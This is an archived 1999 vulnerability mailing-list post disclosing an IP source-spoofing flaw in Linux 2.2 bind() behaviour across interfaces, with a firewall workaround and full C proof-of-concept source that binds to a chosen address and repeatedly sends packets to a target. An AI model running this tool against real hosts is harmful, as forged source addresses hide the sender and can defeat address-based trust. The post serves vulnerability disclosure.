Vulnerability Development mailing list archives

linux userland ip spoofing vulnerability


From: drai2.geo () YAHOO COM (Boo Hampshire)
Date: Wed, 27 Oct 1999 07:14:01 +1000


There is code + documentation attached.

This works on linux 2.2.13 and is not related to the ip source forging
with pppd.

This works on systems with poor/no firewall setup, pppd + shell users. It
can forge a source address (on your local ethernet sent over ppp
interface).

This bug is caused by bind() in the kernel allowing you to send off
another interface.

No fix available but a workaround is to use your firewall to deny packets
that don't belong on a given interface (ipfwadm -W option, or whatever
ipchains is).


/************************************

floorboard.c

(note: when I refer to vhost, i mean virtual hosting, ip aliases,
or whatever).

I started off writing this source because I'm working on the Gemini IRCD,
which is basically going to replace Xnet's IRCD and I stumbled across
something really stupid. 

Basically it was this:

You could bind to a vhost and send packets with that vhost IP. This is the
wonderful behaviour called "virtual hosting". Alot of IRC users no doubt
have access to shells containing a "virtual host" such as
"I.am.too.good.to.be.elite.com."

What many don't realise, is that this could be used to "spoof" under Linux 
without superuser priv's.

For example, at home, with a LAN, IP Address of 10.0.0.1 on eth0. and a
modem.

Let's assume "dialup" has the IP of 203.x.x.x. (ppp0) Use the system call
bind() and use the IP of 10.0.0.1. (eth0)

Send the udp packets out to host, say, 203.x.x.9. (via ppp0) 

Linux changes my IP to 10.0.0.1 (eth0) (as it should with vhost)

The user at 203.x.x.9 receives packets from 10.0.0.1

Do you see the problem now? Almost anyone who has linux on a LAN can have
their users spoof of the IP of 10.0.0.1 without root.

This isn't a major problem. But what if you configured your network card
differently and somehow this leads up to a different sort of problem? 

This is probably not a major bug or an exploit, or maybe it was the
intention of "virtual hosting", but it does show that logic may be needed
in the way Linux and vhost/virtual hosting (also known as network ip aliases)
is treated. 

Final note:
Whether this runs/works on anything other than Linux is not known. It is
quite possible this exploit/bug works on every other platform out there,
including Windows?

I'm leaving it at that, because it was, after all, meant to be a an ircd
socket library..

By the way, this source is licensed to you under GNU GPL, the latest
version.

e.g.

./floorboard target_ip any_port -v 10.0.0.1 any_port_greater_than_1024 -u

works in linux 2.0.36 (redhat 4.2),  2.2.5-* (redhat 6.0), 2.2.13 (redhat
6.0) and possibly any other kernels on systems with poor or no firewall
controls.

--
Dr/icebsd
drai2.geo () yahoo com

http://www.2600.org.au

Thanks to:

nyisles for letting me make sure i was spoofing packets and not just
finding an error in tcpdump -i ppp0...

and Pyros for being the gimp that he is.

and Pho!@#$!@!@$#!$ fjear his eleet te(how do you spell technique?)

************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <netdb.h> /* for gethostbyname() */

/* for connect()/socket() */
#include <sys/types.h>
#include <sys/socket.h>

/* for inet_aton, inet_ntoa, htons()/ntohs(), htonl() */
#include <netinet/in.h> 
#include <arpa/inet.h>

typedef int SOCKET;

#define DEBUG
#define TCP_CONNECT 1
#define UDP_CONNECT 2

/* bind a socket to port/hostname .. hostname may be null, in which case
it uses INADDR_ANY.. returns -1 on fail or 0 on success */

/* Note: binding to port 0 means the same as INADDR_ANY except its for
ports (sort of useful to bind a host without a port) */

int bind_sock(SOCKET sock, char *host, int port)
{
   struct sockaddr_in server;
   struct hostent *hent;

   memset(&server, 0, sizeof(server));
   server.sin_port = htons(port);
   server.sin_family = AF_INET;

   /* find hostname or use INADDR_ANY */

   if (host != NULL) {
      if (find_hostname(&server, host) == -1) {
         return -1;
      }
   }
   else {
      server.sin_addr.s_addr = INADDR_ANY;
   }

   if (bind(sock, (struct sockaddr*) &server, sizeof(struct sockaddr_in))
== -1) {
      perror("bind");
      return -1;
   }
   return 0;
}

/* find_hostname(), uses gethostbyname() to put the details into *serv,
finding *host... returns -1 on fail, 0 on success*/

int find_hostname(struct sockaddr_in *serv, char *host)
{
   struct hostent *hent;
   struct sockaddr_in server;
   int i;
   char *p;

#ifdef DEBUG
   struct in_addr in;

   printf("Finding host: %s\n", host);
#endif

   memset(&server, 0, sizeof(server));

   if (!inet_aton(host, &server.sin_addr)) {
      if ((hent = gethostbyname(host))) {
         memcpy(&server.sin_addr.s_addr, hent->h_addr_list[0],
hent->h_length);

#ifdef DEBUG
         printf("Official name of host: %s\n", hent->h_name);
         for (i = 0, p = hent->h_aliases[0]; p != NULL;
p=hent->h_aliases[++i]) {
            printf("Alias (for host: %s): %s\n", host, p); 
         }
         for (i = 0, p = hent->h_addr_list[0]; p != NULL;
p=hent->h_addr_list[++i]) {
            memcpy(&in.s_addr, p, hent->h_length);
            printf("IP aliases: %s\n",inet_ntoa(in));
         }

#endif
      }
      else { 
         herror(host);
         return -1;
      }
   }
#ifdef DEBUG
   printf("Found host\n");
#endif

   memcpy(&(serv->sin_addr), &server.sin_addr, sizeof(struct in_addr));
   return 0;
}

/* make a connection using the socket, host and port ...
returns -1 on fail, the socket (sock) on success */

SOCKET make_connect(SOCKET sock, char *host, int port)
{
   struct sockaddr_in server;

   if (port < 0) {
      printf("Invalid port number\n");
      return -1;
   }

   memset(&server, 0, sizeof(server));
   server.sin_port = htons(port);
   server.sin_family = AF_INET;

   /* find hostname */

   if (find_hostname(&server, host) == -1) {
      return -1;
   }

   /* make connection */
   if (connect(sock, (struct sockaddr *) &server, sizeof(struct
sockaddr_in))
== -1) {
      return -1;
   }

   return sock;
}

/* forces the program to create a socket using socket() and dies if that
fails.. */

SOCKET make_socket(int type, int protocol)
{
   SOCKET sock;

   /* create socket */
   sock = socket(AF_INET, type, protocol);
   
   if (sock == -1) {
      perror("socket");
      exit(1);
   }

   return sock;
}

/* make a tcp/udp connection, and bind the socket to a port if (vport)
exists */

SOCKET connect_sock(SOCKET sock, char *host, int port, char *vhost, 
char *vport)
{

   /* bind_sock() doesn't need to be checked, since it has its own error
messages using herror() .. and it isn't crucial so we dont need to die
on it. */
   if (vport) {
      if (vhost) 
         bind_sock(sock, vhost, atoi(vport));
      else
         bind_sock(sock, NULL, atoi(vport));
   }

   if (make_connect(sock, host, port) == -1) {
      perror("connect");
      close(sock);
      exit(1); /* die */
   }

   return sock;
}

SOCKET connect_tcp(char *host, int port, char *vhost, char *vport)
{
   SOCKET sock;
   sock = make_socket(SOCK_STREAM, IPPROTO_IP);

   return connect_sock(sock, host, port, vhost, vport);
}

SOCKET connect_udp(char *host, int port, char *vhost, char *vport)
{
   SOCKET sock;
   sock = make_socket(SOCK_DGRAM, IPPROTO_IP);

   return connect_sock(sock, host, port, vhost, vport);
}

void check_param(char *s, char *option)
{
   if (s == NULL) {
      printf("ERROR %s: You didn't specify enough parameters for this \
option!\n", option);
      exit(1);
   }
}

void main(int argc, char **argv)
{
   SOCKET sock;
   int connected = 0;

   int i;
   char *vhost=NULL, *vport=NULL;
   char *host;
   int port;
   int connecttype = TCP_CONNECT;

   if (argc < 3) {
      printf("Usage: %s <host> <port> [options]\n", argv[0]);
      printf("Pre-connect options\n");
      printf("-v <host> <port>   bind to <vhost> and <port>\n");
      printf("-b <port>          bind to <port>\n");

      printf("\n\n");
      printf("Connect options\n");
      printf("-t                 for tcp connect (default)\n");
      printf("-u                 for udp connect\n");

      printf("\n\n");
      printf("You can only have one pre-connect and one connect \
option\n");
      exit(1);
   }

   i = 3; /* start from the 3rd parameter */

   if (argc >= 4) {
      while (argv[i] != NULL) {
         switch (argv[i][1]) {
            case 'u': case 'U':
               connecttype = UDP_CONNECT;
            break;
            case 't': case 'T':
               connecttype = TCP_CONNECT;
            break;
            case 'v': case 'V':
               i++;
               vhost = argv[i++]; check_param(vhost, "-v");
               vport = argv[i]; check_param(vport, "-v");
            break;   
            case 'b': case 'B':
               i++;
               vport = argv[i]; check_param(vport, "-b");
            break;
            default:
               printf("Unknown option: %s\n", argv[i]);
               exit(1);
         }
         i++;
      }
   }

   host = argv[1]; port = atoi(argv[2]);

   if (connecttype == TCP_CONNECT) 
      sock = connect_tcp(host, port, vhost, vport);
   else 
      sock = connect_udp(host, port, vhost, vport);


   printf("Press return to send packets...\n");
   fflush(stdout);
   getchar();

   while (1) {
      sleep(1);
      send (sock, "test", 4, 0);
   }

   close(sock);
   exit(0);
}


Current thread: